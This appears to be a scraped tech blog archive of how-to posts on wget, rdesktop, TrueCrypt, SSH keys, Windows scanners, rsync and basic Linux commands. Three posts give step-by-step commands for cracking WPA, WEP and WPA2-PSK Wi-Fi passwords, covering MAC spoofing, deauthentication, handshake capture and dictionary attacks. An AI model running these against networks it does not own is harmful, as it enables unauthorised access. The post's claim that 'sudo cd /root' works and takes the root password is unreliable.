Categories
Command Line FTP howto Linux Passwords WGET wget examples Windows

How To Use Wget – Includes Several Examples Using Wget

wget is a great command line utility that is natively available in Linux and can be downloaded for Windows (see also GNU WGet for Windows (Windows 7, Vista, XP, etc.)). wget can be used for many download situations including large files, recursive downloads, non-interactive downloads, multiple file downloads, etc.

Note: options ARE case sensitive.

1. Download a single file with wget using no options.

wget http://ftp.gnu.org/gnu/wget/wget-latest.tar.gz

While downloading, wget will display a progress bar with the following information:

  • % of download completion
  • Download progress in bytes
  • Current download speed
  • Estimated time remaining

Download in progress

Completed download

2. Download a file saving with a different name using wget -O

wget http://www.vim.org/scripts/download_script.php?src_id=7701

Even though the downloaded file is in zip format, it will be saved with the name download_script.php?src_id=7701 without the -O switch.

To modify this behavior specify the output file name using the -O option.

wget -O taglist.zip http://www.vim.org/scripts/download_script.php?src_id=7701

3. Specify download speed / download rate Using wget –limit-rate

While executing the wget, by default it will try to use all possible bandwidth. You can limit the download speed using the –limit-rate switch.

wget --limit-rate=200k http://ftp.gnu.org/gnu/wget/wget-latest.tar.gz

4. Restart a download which stopped in the middle using wget -c.

wget -c http://ftp.gnu.org/gnu/wget/wget-latest.tar.gz

5. Download in the background with wget -b

wget -b http://ftp.gnu.org/gnu/wget/wget-latest.tar.gz

The download will begin and give back the shell prompt to you. You can always check the status of the download using tail -f  (Linux only) .

tail -f wget-log

6. Mask user agent and display wget like browser using wget –user-agent

Some websites can disallow you to download its page by identifying that the user agent is not a browser. So you can mask the user agent by using –user-agent options and show wget like a browser.

wget --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" http://ftp.gnu.org/gnu/wget/wget-latest.tar.gz

7. Test URL using wget –spider.  This will test that the file exists, but not perform the download.

wget --spider http://ftp.gnu.org/gnu/wget/wget-latest.tar.gz

8. Increase total number of retry attempts using wget –tries.

wget --tries=75 http://ftp.gnu.org/gnu/wget/wget-latest.tar.gz

9. Download multiple files / URLs using wget -i

First, store all the download files or URLs in a text file:
URL1
URL2
URL3
URL4

Next, give the download-file-list.txt as argument to wget using -i option.

wget -i download-file-list.txt

10. Download a full website using wget –mirror

wget --mirror -p --convert-links -P ./LOCAL-DIR WEBSITE-URL

  • –mirror: enable mirroring
  • -p: download all files that are necessary to properly display a given HTML page
  • –convert-link: after the download, convert the links in document for local viewing
  • -P ./LOCAL-DIR: save all the files and directories to the specified directory

11. Skip certain file types while downloading using wget –reject.  In order to download all content except .gif images use the following.

wget --reject=gif WEBSITE-TO-BE-DOWNLOADED

12. Log messages to a log file instead of stderr using wget -o.  To redirect output to a log file instead of the terminal.

wget -o download.log DOWNLOAD-URL

13. Quit downloading when certain size is exceeded using wget -Q.

wget -Q5m -i FILE-WHICH-HAS-URLS

14. Download only certain file types using wget -r -A

You can use this for the following situations

  • Download all images from a website
  • Download all videos from a website
  • Download all PDF files from a website

wget -r -A.pdf http://url-to-webpage-with-pdfs/

15. You can use wget to perform FTP downloads.

wget ftp-url

FTP download using wget with username and password authentication.

wget --ftp-user=USERNAME --ftp-password=PASSWORD DOWNLOAD-URL

Note: username and password can be used for HTTP and HTTPS downloads as well using –http-user=USER, –http-password=PASS respectively.

More

Categories
Encryption Linux Passwords rdesktop RDP SourceForge TSClient WGET Windows

Using Remote Desktop for Linux with rdesktop

rdesktop client can be used to connect to Windows Terminal Services for Remote Desktop Protocol (RDP) from Linux machines. The rdesktop client supports all version of Microsoft Windows including the latest, Windows Server 2008 and Windows 7 Operating Systems, and it runs on most unix based platforms as well as other ports.

Visit http://sourceforge.net/projects/rdesktop/ for more information or to download rdesktop.

Download and Install:

  1. wget http://garr.dl.sourceforge.net/sourceforge/rdesktop/rdesktop-1.6.0.tar.gz
  2. tar -zxf rdesktop-1.6.0.tar.gz
  3. cd rdesktop-1.6.0
  4. ./configure
  5. make
  6. make install

Basic Usage:

rdesktop -k en-us -a 16 -f -u <username> -p <password> <server>

Command Options Used:

-f switch for full screen mode
-k for keyboard layout on server
-a for color depth
-u for username
-p for password

Note: To exit full screen mode press: CTRL + ALT + Enter

Full Usage Options

Usage: rdesktop [options] server[:port]
-u: user name
-d: domain
-s: shell
-c: working directory
-p: password (- to prompt)
-n: client hostname
-k: keyboard layout on server (en-us, de, sv, etc.)
-g: desktop geometry (WxH)
-f: full-screen mode
-b: force bitmap updates
-L: local codepage
-A: enable SeamlessRDP mode
-B: use BackingStore of X-server (if available)
-e: disable encryption (French TS)
-E: disable encryption from client to server
-m: do not send motion events
-C: use private colour map
-D: hide window manager decorations
-K: keep window manager key bindings
-S: caption button size (single application mode)
-T: window title
-N: enable numlock syncronization
-X: embed into another window with a given id.
-a: connection colour depth
-z: enable rdp compression
-x: RDP5 experience (m[odem 28.8], b[roadband], l[an] or hex nr.)
-P: use persistent bitmap caching
-0: attach to console
-4: use RDP version 4
-5: use RDP version 5 (default)

There is also a graphical user interface (GUI) that you can use named Terminal Server Client [tsclient]
Visit: http://sourceforge.net/projects/tsclient for more information and to download tsclient.

Categories
Aircrack-ng aireplay airmon airodump BackTrack BT crack Encryption hack howto Linux Passwords Ubuntu Video VMWare WEP wifi Windows wireless WPA

HowTo: Crack WPA with Backtrack 3

This is an easy to follow tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes.

Steps:

  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -0 5 -a (bssid)wlan0
  8. aircrack-ng (filename-01.cap)-w (dictionary location)
BackTrack links

Categories
Aircrack-ng aireplay airmon airodump BackTrack BT crack Encryption hack howto Linux Passwords Ubuntu Video VMWare WEP wifi Windows wireless WPA

HowTo: Crack WEP with BackTrack 3

This is a tutorial on how to crack a wep encrypted password. This information should only be used for education purposes.

Steps:

  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
  8. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  9. aircrack-ng -b (bssid) (filename-01.cap)
BackTrack links

Categories
crack hack Linux Passwords Security Windows wireless WPA

Wireless WPA/WPA2-PSK GPU Cracking with Pyrit – How to Use Pyrit in BackTrack

Pyrit is a GPU cracker for attacking WPA/WPA2 PSK protocols. It allows to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time-tradeoff.  Pyrit works with many platforms including CUDA, ATI-Stream, OpenCL and VIA Padlock.

How to
Listing available cores

pyrit list_cores

Determining performance of cores

pyrit benchmark

Create a new ESSID

pyrit -e Linksys create_essid

Import list of passwords

pyrit -f dict.txt import_passwords

 Start Batch Processing

pyrit batch

Cracking WPA/WPA2-PSK using pyrit/coWPAtty

pyrit -e “Linksys” -f dict.txt passthrough | cowpatty -d – -r wpa2handshake.cap -s “Linksys“
“-e” ESSID for the command
“-f” Filename for the command (’-’ is stdin/stdout)
“-d” Hash file
“-” Accept words on stdin
“-r” Packet capture file
“-s” Network SSID

Categories
Encryption FREE Linux Open Source Passwords SourceForge TrueCrypt Utility Windows

TrueCrypt – Free Open Source Industrial Strength Encryption

TrueCrypt provides a solution for encrypting sensitive data – everything from portable, mountable volumes to entire hard disks.  Encrypting your data renders that access useless, even if your computer or your thumbdrive falls into the wrong hands.

And TrueCrypt makes it not only easy, but nearly un-crackable.  TrueCrypt is both open source and FREE.

There are two approaches to using TrueCrypt:

  • Whole Drive Encryption – you can use TrueCrypt to encrypt your entire hard disk, including your boot partition. In order to boot the machine, you must first supply your pass phrase to enable decryption. Once booted, data is automatically and transparently encrypted and decrypted as it travels to and from the disk. Once your machine is turned off, the data is unrecoverable without knowing the pass phrase.
  • Container Encryption – with this approach you create a single file on your computer’s hard drive that is encrypted. You then “mount” that file using TrueCrypt, supplying the correct pass phrase to decrypt it after which the contents of that file appear as another drive on your system. Reading from and writing to that “drive” automatically and transparently decrypts and encrypts the data. Once the drive is unmounted, the data is once again unrecoverable without knowing the pass phrase.

TrueCrypt is both simple and elegant.

Most users prefer container based encryption for its portability, and for the fact that you need only mount the encrypted drive when you need access. You could keep personal information in a TrueCrypt container that could be regularly copied between machines, onto a thumbdrive, and even backed up to the Internet. When you need to access the encrypted data, simply mount it, specify your pass phrase to unlock it, and use the files that are stored within it.

TrueCrypt is not tied to any one platform, your user account or anything else; just the pass phrase. In fact, you can copy your encrypted file to another machine entirely and mount it with TrueCrypt. Even using other operating systems such as Mac or Linux.

Here are a couple of important caveats:

  • Encryption does not make a bad pass phrase any more secure. If you choose an obvious pass phrase, an attack can certainly be mounted that could unlock your encrypted volume. This is why we talk about pass phrase instead of password. Use a multi-word phrase that you can remember to be the key to your encrypted data, and it’ll be much, much more difficult to break.
  • An encrypted volume does you no good if the files you care about are also elsewhere on your machine.
  • Make sure you have secure backups, updated regularly. Preferably keep them UNencrypted, but secure in some other way, in case you lose your encrypted volume or forget your pass phrase. If you’ve chosen a good passphrase, without it the data is not recoverable.

TrueCrypt is FREE open-source disk encryption software for Windows 7/Vista/XP, Mac OS X, and Linux

TrueCrypt Features:

Data encryption is an important part of an overall security strategy. TrueCrypt can be a key part of that strategy.

Download TrueCrypt.

Categories
FTP Linux Passwords Private Key Public Key SFTP SSH Windows

How to create and use Public Keys with SSH

SSH and SFTP Public Key Authentication requires that you create a public/private key pair. In this howto we will look at how to create then use those keys.

SSH (Secure Shell) and SFTP (Secure FTP) support a very strong security model that can be used instead of the normal username and password authentication scheme. It uses public key cryptography to create a different, and more secure approach to authenticating your identity and rights to access a server or resource.

Essentially you will generate a public and private key pair. The public key will be placed on the server by your system administrator, giving you access. You will keep the file containing the private key in a safe place. You’ll login by simply by providing that private key file to your SSH or SFTP supporting client.

The private key is just that – private. You may put a password on it, but you don’t have to. Without a password, all you need is the file in order to login. Or, to put it more clearly, all anyone needs is that file to login as you. Obviously if you password protect the file, then you’ll need both the file, and the password to unlock it. In that case, logging in is very similar to what you do today: specify a user name, and a password to unlock your key file.

Instructions are included here for the following tools, which are known to work with this technique:

SSH Clients                                    SFTP Clients
PuTTY
SecureCRT
                                   PSFTP
                                   Webdrive
                                   WS_FTP

Instructions for these tools are not provided here, but they either claim or have been confirmed to have the appropriate support:

SSH Clients                            SFTP Clients
Tera Term Pro                            CuteFTP Professional
                           WinSCP

Other tools may also work. The key terminology to look for is “SSH” or “SFTP” and “Public Key Authentication”.

Generating Your Keys

In general it’s best to create your own key. That way you control what happens to your private key.

PuTTYgen

PuTTY is a free SSH client that includes a tool for generating keys, called PuTTYgen. PuTTY is my preferred SSH client.

Run PuTTYgen and click the “Generate” button.

Follow the directive to move the mouse around to generate randomness, which is a key component of public key cryptography. Once that’s done, you should do the following:

  • Specify a passphrase. Technically this is optional, but if you omit the passphrase, then anyone who happens to get ahold of your private key file can login as you. You may have enough security in place where this is not an issue. If you do specify a passphrase, you’ll need to enter it when you login, pretty much as a normal login.
  • Press the Save Public Key button to save the public key. I recommend saving as your name “.pub”. For example I would save “powercram.pub”.
  • Press the Save Private Key button to save your private key. This saves the private key in PuTTY’s own format, a “.ppk” file. So, “name.ppk” might be appropriate.
  • I also recommend hitting the Conversions menu, and then Export Openssh key, and saving that to “name.key”. This format will allow you to use your private key with other applications besides PuTTY.

SecureCRT

SecureCRT is a stand-alone SSH client.
To create a public key with SecureCRT, click the Tools menu, Create Public Key… option to begin the wizard.  Select RSA as the key type. Enter (or not) an appropriate passphrase to protect your private key. A default key length of 1024 is sufficient. Allow SecureCRT to save the key, noting the location. It may ask if you want to use this as your global Public Key, and you can safely say “yes”.

WS_FTP

In WS_FTP, click Tools, Options, and then click on SSH, Client Keys:

Press Create, and step through the wizard. The key type should be RSA, and the default size of 1024 is sufficient.  Once the key has been created and shows up in the list, click on it, and then click on Export, to export your public key.

Using Your Keys – SSH

Once your keys are generated, and the public key installed on the server, you’ll need to specify the private key to your SSH client in order to log in.

PuTTY

There are at least two approaches to using Public/Private keys with PuTTY. When you launch PuTTY without any arguments, you get its standard configuration dialog, into which you can enter the name of the server you want to connect to:

On the left hand side is a tree view of various options. Underneath Connection, SSH, click on Auth and the dialog will include a field “Private key file for authentication“:

Specify the location of the “.ppk” file that you generated with PuTTYgen. When you connect, if your private key is passphrase protected, you’ll be asked for the passphrase.  The other approach is to simply create shortcuts for the various servers I connect to regularly, and specify the location of the private key on the command line. For example:

C:pathPUTTY.EXE -i c:adminpowercram.ppk admin@server.com

That, as a desktop shortcut, or item on a Windows menu, connects to the named server using the specified account name “admin”, and uses the private key found in “c:adminpowercram.ppk” to authenticate.

SecureCRT

SecureCRT has several paths to a connection dialog, but we’ll use “Quick Connect” for our example. Click the Quick Connect Icon:

Make sure that protocol is set to SSH2, and enter your host and username. In Authentication, UNcheck everything except PublicKey. Then click on that, and click Properties.

Typically you don’t need to do anything, but this dialog specifies the location of your identity file (aka Private Key).  Assuming that your public key has been placed on the server for your account, you should now be able to connect.

Using Your Keys – SFTP

Secure FTP, or FTP, is really just using SSH technology to provide FTP-like functionality. Since it’s using SSH, the keys you’ve generated and are using for your SSH authentication work with many SFTP applications as well.

WebDrive

Webdrive is an FTP/SFTP service for Windows that allows you to treat an FTP or SFTP connection like another drive mounted on your system. Uploading and downloading then become simple Windows file copy operations.  In Webdrive, you’ll need to load your private key, and then specify it in the configuration for a specific SFTP connection.  The Certificates tab of Webdrive’s Settings dialog, has a Hostkey Managemet button.  Push that, and you’ll get the host key management dialog, and on that you’ll find an Import button. Press that to import your public and private keys:

Specify the “.pub” key for the public key you generated earlier. The private key should also be specified, and would be the “.key” file. If you passphrase protected your key file, you can specify that here as well. Give it a recognizable name.  The second step, then, takes us back to the Webdrive main window.

Click on a connection (or create a new one). In the Properties for that connection, on the SFTP tab will be a setting Enable client hostkey support for this site:

Here you’ll find a dropdown list of the keys you imported above, and a place to enter the password, if any, to access that key.  Once completed, Webdrive should now be able to connect to your public key authenticated site.

WS_FTP

Having created a key pair already in WS_FTP, using it is simply a matter of defining your connection to use it.
When you create a site, specify its connection type as SFTP/SSH. Specify a user name, but leave your password blank. At the end of the wizard, click on the Advanced button, this will allow you to edit the connection, and is the equivalent to editing an existing connection.

Click on the SSH item on the left, and the dropdown list that results should allow you to select the key pair that you created earlier.  Assuming that the public key you exported and sent to your system administrator has been installed on the server, you should now be able to connect.

psftp

PSFTP is command line FTP program that is distributed with PuTTY. More importantly, it supports public key SFTP by using the “.ppk” file that you created for PuTTY above. Connecting using a public key is simply a different set of comment line options:

psftp -l username -2 -i keys.ppk remotehost

-l username specifies your username on the remote host; -2 indicates that PSFTP should use SSH protocol version 2; -i keys.ppk specifies the location of your private key as created with PuTTYgen; remotehost is the name of the remote host you’re connecting to.

Categories
BareTail FREE Linux Nessus NeWT Passwords Utility Windows Winfingerprint

FREE Windows Utilities for Scanning, Auditing, and Monitoring

BareTail
Many applications keep detailed logging data in straight text files because the Windows event logs aren’t appropriate for certain types of data (e.g., IIS log files). In the course of monitoring or troubleshooting these types of applications, it’s often helpful to watch these log files in real time. However, because they’re text files, that process typically consists of opening the file in Notepad or another text editor, looking at the contents, closing the file, then reopening the file to see what’s changed.



In the UNIX world, a utility that serves this purpose has been available for quite some time: It’s called tail. Fortunately, the good folks at Bare Metal Software have developed a free version of the tool called BareTail.


BareTail is a great utility for watching log files, such as IIS logs, cluster logs, and any other type of logs that can generate a lot of data quickly. BareTail can keep up with large log files (e.g., greater than 2GB) just as quickly as with smaller files, and—for easier visual recognition—it can selectively highlight specific entries that appear in a file based on matching text strings. For example, suppose you want to highlight references to cmd.exe in an IIS log file to easily spot which incoming connections are attempting to exploit known vulnerabilities.


One of BareTail’s most compelling qualities is that it’s a completely standalone executable. There’s no installer package to work with, so you can use the utility on a client’s system and feel safe that you’ve had little or no impact on the system after you complete your work.
NeWT
When I have security on the brain, I generally look to the open-source community for answers, rather than to specific vendors. After all, the open-source community can be voracious in its efforts to find and understand every aspect of a vulnerability or flaw. A shining example of this security consciousness is the open-source vulnerability scanner called Nessus.
Nessus is the world’s most popular opensource vulnerability scanner. An estimated 75,000 organizations worldwide rely on Nessus to assess their networks and check for vulnerabilities. Originally launched in 1998 for UNIX, Nessus has been ported over to Windows by Tenable Network Security in a version called NeWT.
Tenable Network Security provides the standard version of NeWT free for anyone to use for any reason. The only limitation is that the host that NeWT runs on can scan only its local subnet. With more than 6000 known vulnerabilities that it can test for, NeWT is now the best vulnerability scanner available for the Windows platform.
When you unleash NeWT on your local subnet, it starts its process of testing each host it finds for vulnerabilities in its database. You can configure NeWT to test only for certain vulnerabilities—for example, if you’re a 100 percent Microsoft shop, you don’t need to test for UNIX vulnerabilities—and whether to attempt to fully exploit any vulnerabilities found to confirm its tests. NeWT can check for buffer-overflow vulnerabilities, watch for misconfigured application services (e.g., mail, Web), find all the listening ports on a server and determine the OS type, look for backdoors installed on an infected host, and more.
If you provide NeWT with appropriate administrative credentials, it will dive even deeper into your systems and check for local patching or the existence of malicious software. For example, on a test “victim” system in my lab, NeWT detected several spyware and adware packages that I intentionally installed on that host for some tests. NeWT recommended that I remove those applications. NeWT is the first tool I grab when I start a security assessment for a client, and it should be in every administrator’s toolbox.
Winfingerprint
If you’re looking for a quick and simple way to obtain information about a remote system, Winfingerprint is the tool of choice. Winfingerprint is a network scanner that runs on Windows. Unlike most network scanners, Winfingerprint is specifically designed to obtain information about Microsoft hosts and applications. Winfingerprint can use ICMP, RPC, SMB, SNMP, TCP, and UDP to obtain information (e.g., OS version, users, groups, SIDs, password policies, services, service packs and hotfixes, NetBIOS shares, transports, sessions, disks) about target systems. Winfingerprint comes in both a GUI version and a command-line version, so however you prefer to work, there’s a version of Winfingerprint for you.

Winfingerprint determined the number of drives I had installed on my target system, as well as the MAC addresses of the interfaces and the OS and patch level. What you can’t see in the figure, however, is that Winfingerprint went on to enumerate all the share names on that system, as well as the services that were installed and the names of the users. The tool obtained all that data in about 20 seconds, making Winfingerprint a terrific tool for quickly collecting inventory data about networked systems.

Categories
Command Line Linux Passwords RSync SSH Ubuntu Windows

What is the Linux equivalent to RoboCopy?

The Linux equivalent to Window’s robocopy is the command line file mirroring utility called rsync.

Whether you want to backup your data, distribute files securely or mirror your working documents over the internet from the office to home, between computers on your local network, or from your computer to your web server, rsync can get the job done.

Rsync Switches
To see all the available options, type rsync --help at the command line. Here are a few of the options:

  • -r, –recursive – recurse into directories
  • -u, –update – skip files that are newer on the receiver
  • -n, –dry-run – show what would have been transferred
  • –existing – only update files that already exist on receiver
  • –delete – delete files that don’t exist on the sending side
  • -z, –compress – compress file data during the transfer
  • –exclude=PATTERN – exclude files matching PATTERN

If you’re just getting started with rsync, the -n (“dry run”) switch with -v (verbose) is a great way to see what files would get copied without actually performing the copy. Use that switch to test out your rsync recipe before you run it.

Of course, once you get your rsync command just right, you can place it in a batch file or shell script and automate it using Windows Task Scheduler (or cron on the Mac or a Linux machine). The only problem here is that you’ll get a password prompt every time to log into the machine you’re ssh’ing into; use this handy tip on how to set up passwordless ssh logins to automate rsync without the prompt.

Rsync will run on OS X, Ubuntu, Debian, Red Hat, SUSE, etc. You can even run it on Windows machines with Cygwin which is a Linux-like environment for Windows.

More about Robocopy

Categories
ethernet FTP Linux Passwords Windows

Linux Commands for (Beginning and Forgetful) Administrators





Command
Summary Use
arp
Command mostly used for checking existing Ethernet connectivity and IP address
Most common use: arp

This command should be used in conjunction with the ifconfig and route commands. It is mostly useful for me to check a network card and get the IP address quick. Obviously there are many more parameters, but I am trying to share the basics of server administration, not the whole book of commands.

df
Display filesystem information
Most common use: df -h

Great way to keep tabs on how much hard disk space you have on each mounted file system.

du
Display usage
Most common use, under a specific directory: du -a

Easily and quickly identify the size of files/programs in certain directories. A word of caution is that you should not run this command from the / directory. It will actually display size for every file on the entire Linux harddisk.

find
Find locations of files/directories quickly across entire filesystem
Most common use: find / -name appname -type d -xdev

(replace the word appname with the name of a file or application like gimp)This is a very powerful command and is best used when running as root or superuser. The danger is that you will potentially look across every single file on every filesystem, so the syntax is very important. The example shown allows you to search against all directories below / for the appname found in directories but only on the existing filesystem. It may sound complex but the example shown allows you to find a program you may need within seconds!
Other uses and more complex but beneficial functions include using the -exec or execute a command.
You may also try the commands: locate or try slocate

ifconfig
Command line tool to configure or check all network cards/interfaces
Most common uses: ifconfig and also ifconfig eth0 10.1.1.1

Using the plain ifconfig command will show you the details of all the already configured network cards or interfaces. This is a great way to get a check that your network hardware is working properly. You may also benefit from this review of server configuration. Using the many other options of ifconfig such as the one listed allows you to assign a particular interface a static IP address. I only show an example and not a real world command above. Also review some commands for file permissions here.. Your best bet, if you want to configure your network card using this command is to first read the manual pages. You access them by typing: man ifconfig

init
Allows you to change the server bootup on a specific runlevel
Most common use: init 5

This is a useful command, when for instance a servers fails to identify video type, and ends up dropping to the non-graphical boot-up mode (also called runlevel 3).

The server runlevels rely on scripts to basically start up a server with specific processes and tools upon bootup.Runlevel 5 is the default graphical runlevel for Linux servers. But sometimes you get stuck in a different mode and need to force a level. For those rare cases, the init command is a simple way to force the mode without having to edit the inittab file.

Of course, this command does not fix the underlying problem, it just provides a fast way to change levels as needed. For a more permanent correction to the runlevel, edit your /etc/inittab file to state:id:5:initdefault:

joe or nano
Easy to use command line editors that are often included with the major Linux flavors
Most common uses:
joe filename 
nano filename

A real world example for you to get a better sense on how this works:
nano /etc/dhcp3/dhcpd.conf
This allows you to edit using nano the dhcpd.conf configuration file from the command line.
Maybe you are not up to speed on vi, or never learned how to use emacs? On most Linux flavors the text editor named joe or one named nano are available. These basic but easy to use editors are useful for those who need a text editor on the command line but don’t know vi or emacs. Although, I do highly recommend that you learn and use Vi and Emacs editors as well. Regardless, you will need to use a command line editor from time to time. You can also use cat and more commands to list contents of files, but this is basic stuff found under the basic linux commands listing. Try: more filename to list contents of the filename.

netstat
Summary of network connections and status of sockets
Most common uses: netstat and also netstat |head and also netstat -r

Netstat command simply displays all sockets and server connections. The top few lines are usually most helpful regarding webserver administration. Therefore if you are doing basic webserver work, you can quickly read the top lines of the netstat output by including the |head (pipe and head commands). Using the –option gives you a very good look at the network routing addresses. This is directly linked to the route command.

nslookup
Checks the domain name and IP information of a server
Most common use: nslookup www.hostname.com

You are bound to need this command for one reason or another. When performing server installation and configuration this command gives you the existing root server IP and DNS information and can also provide details from other remote servers. Therefore, it is also a very useful security command where you can lookup DNS information regarding a particular host IP that you may see showing up on your server access logs. Note there are some other commands like file permissions that may also help. There is a lot more to this command and using the man pages will get you the details by typing: man nslookup

ping
Sends test packets to a specified server to check if it is responding properly
Most common use: ping 10.0.0.0 (replace the 10.0.0.0 with a true IP address)
This is an extremely useful command that is necessary to test network connectivity and response of servers. It creates a series of test packets of data that are then bounced to the server and back giving an indication whether the server is operating properly.

It is the first line of testing if a network failure occurs. If ping works but for instance FTP does not, then chances are that the server is configured correctly, but the FTP daemon or service is not. However, if even ping does not work there is a more significant server connectivity issue… like maybe the wires are not connected or the server is turned off! The outcome of this command is pretty much one of two things. Either it works, or you get the message destination host unreachable. It is a very fast way to check even remote servers.

ps
Lists all existing processes on the server
Most common uses: ps and also ps -A |more

The simple command will list every process associated with the specific user running on the server. This is helpful in case you run into problems and need to for instance kill a particular process that is stuck in memory. On the other hand, as a system administrator, I tend to use the -A with the |more option. This will list every process running on the server one screen at a time. Read more of our commands on our reallylinux.com help page. I use ps to quickly check what others are goofing with on my servers and often find that I’m the one doing the dangerous goofing!

rm
Removes/deletes directories and files
Most common use: rm -r name (replace name with your file or directory name)

The –r option forces the command to also apply to each subdirectory within the directory. This will work for even non-empty directories. For instance if you are trying to delete the entire contents of the directory x which includes directories y and z this command will do it in one quick process. That is much more useful than trying to use the rmdir command after deleting files! Instead use the rm -r command and you will save time and effort. You may already have known this but since server administrators end up spending a lot of time making and deleting I included this tip!

route
Lists the routing tables for your server
Most common use: route -v

This is pretty much the exact same output as the command netstat -r. You can suit yourself which you prefer to run. I tend to type netstat commands a lot more than just route and so it applies less to my situation, but who knows, maybe you are going to love and use route the most!

shred
Deletes a file securely by overwriting its contents
Most common use: shred -v filename (replace filename with your specific file)

The -v option is useful since it provides extra view of what exactly the shred tool is doing while you wait. On especially BIG files this could take a bit of time. The result is that your file is so thoroughly deleted it is very unlikely to ever be retrieved again. This is especially useful when trying to zap important server related files that may include confidential information like user names or hidden processes. It is also useful for deleting those hundreds of love notes you get from some of the users on your server, another bonus of being a server administrator. 🙂

sudo
The super-user do command that allows you to run specific commands that require root access.
Most common use: sudo command (replace command with your specific one)

This command is useful when you are logged into a server and attempt a command that requires super-user or root privileges. In most cases, you can simply run the command through sudo, without having to log in as root. In fact, this is a very beneficial way to administer your server without daily use of the root login, which is potentially dangerous.

Note there are other commands for file permissions here. Below is a simple example of the sudo capabilities:
sudo cd /root
This command allows you to change directories to the /root without having to login as root. Note that you must enter the root password once, when running a sudo command.

top
Displays many system statistics and details regarding active processes
Most common use: top

This is a very useful system administrator tool that basically gives you a summary view of the system including number of users, memory usage, CPU usage, and active processes. Often during the course of a day when running multiple servers, one of my Xwindows workstations just displays the top command from each of the servers as a very quick check of their status and stability.

touch
Allows you to change the timestamp on a file.
Most common use: touch filename

Using the basic touch command, as above, will simply force the current date and time upon the specified file. This is helpful, but not often used.

For instance, to force a specific date and time upon all files in a directory, type:
touch *

You can also force a specific date/time stamp using the -t option like this: touch -t200103041200.00 *
The command above will change all files in the current directory to take on the new date of March 4th, 2001 at noon. The syntax follows this pattern: YYYYMMDDhhmm.ss

YYYY represents the four digit year, then the two digit month, day, hour and minutes. You can even specify seconds as noted above. In any case, this is a useful way to control timestamps on any files on your server.

traceroute
Traces the existing network routing for a remote or local server
Most common use: traceroute hostname
(replace hostname with the name of your server such as reallylinux.com)
This is a very powerful network command that basically gives the exact route between your machine and a server. In some cases you can actually watch the network hops from country to country across an ocean, through data centers, etc. Read more of our commands on our reallylinux.com help page.

This comes in handy when trying to fix a network problem, such as when someone on the network can not get access to your server while others can. This can help identify the break or error along the network line. One strong note to you is not to misuse this command! When you run the traceroute everyone of those systems you see listed also sees YOU doing the traceroute and therefore as a matter of etiquette and respect this command should be used when necessary not for entertainment purposes. A key characteristic of gainfully employed server administrators: knowing when to use commands and when not to use them!

w
An extension of the who command that displays details of all users currently on the server
Most common uses: w
This is a very important system admin tool I use commonly to track who is on the server and what processes they are running. It is obviously most useful when run as a superuser.

The default setting for the w command is to show the long list of process details. You can also run the commandw -s to review a shorter process listing, which is helpful when you have a lot of users on the server doing a lot of things! Remember that this is different than the who command that can only display users not their processes.

who
Tool used to monitor who is on the system and many other server related characteristics
Most common uses: who and also who -q and also who -b

The plain command just lists the names of users currently on the server. Using the -q option allows you to quickly view just the total number of users on the system. Using the -b option reminds you how long it has been since you rebooted that stable Linux server! One of my servers had a -b of almost three years! Yes, that’s why we at reallylinux.com call it really Linux!


Thanks to Mark Rais, senior editor ReallyLinux.com for this guide.